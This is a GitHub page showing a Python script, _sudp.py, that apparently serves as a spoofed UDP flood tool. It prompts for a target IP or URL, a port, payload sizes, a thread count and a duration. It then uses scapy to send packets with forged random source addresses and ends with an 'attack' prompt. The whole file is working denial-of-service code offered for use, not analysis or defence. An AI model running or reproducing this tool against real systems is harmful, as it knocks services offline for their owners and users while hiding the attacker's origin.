-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path_sudp.py
67 lines (55 loc) · 1.97 KB
/
_sudp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from scapy.all import *
from colorama import Fore
import time, threading, sys, random, string
_abort = False
def _sudp(_ip, _prt, _min, _max):
while _abort == False:
try:
fake = ".".join(str(random.randint(0, 255)) for _ in range(4))
payload = ''.join(random.choices(string.ascii_letters + string.digits, k=random.randint(int(_min), int(_max))))
pkt = IP(src=fake, dst=_ip) / UDP(sport=RandShort(), dport=int(_prt)) / payload.encode()
send(pkt, verbose=False)
except:
pass
def _rslv(_host):
from urllib.parse import urlparse
try:
xhost = _host.lower()
if not (xhost.startswith("http://") or xhost.startswith("https://")):
xhost = "http://" + xhost
_domain = urlparse(xhost).netloc
_eip = socket.gethostbyname(_domain)
return _eip
except:
sys.exit()
def main():
global _abort
try:
arg1 = input('\r\n\033[1m \033[34mIP/URL: \033[31m')
arg1 = _rslv(arg1)
arg2 = input(' \033[34mPORT: \033[31m')
arg3 = input(' \033[34mMINIMUM SIZE: \033[31m')
arg4 = input(' \033[34mMAXIMUM SIZE: \033[31m')
_thdz = input(' \033[34mTHREAD/S: \033[31m')
_time = input(' \033[34mSECONDS: \033[31m')
except KeyboardInterrupt:
sys.exit()
z = input('\r\n\033[37m Ready? Strike <ENTER> to attack and <CTRL+C> to quit...')
print('\r\n\r\n ---> Spoofed UDP flood sent to ' + arg1 + ' for ' + _time + ' seconds!')
tasks = []
for x in range(0, int(_thdz)):
x = threading.Thread(target=_sudp, args=(arg1, arg2, arg3, arg4))
tasks.append(x)
x.start()
_quit = time.time() + int(_time)
try:
while time.time() <= _quit:
pass
except KeyboardInterrupt:
pass
_abort = True
for y in tasks:
y.join()
sys.exit()
if __name__ == "__main__":
main()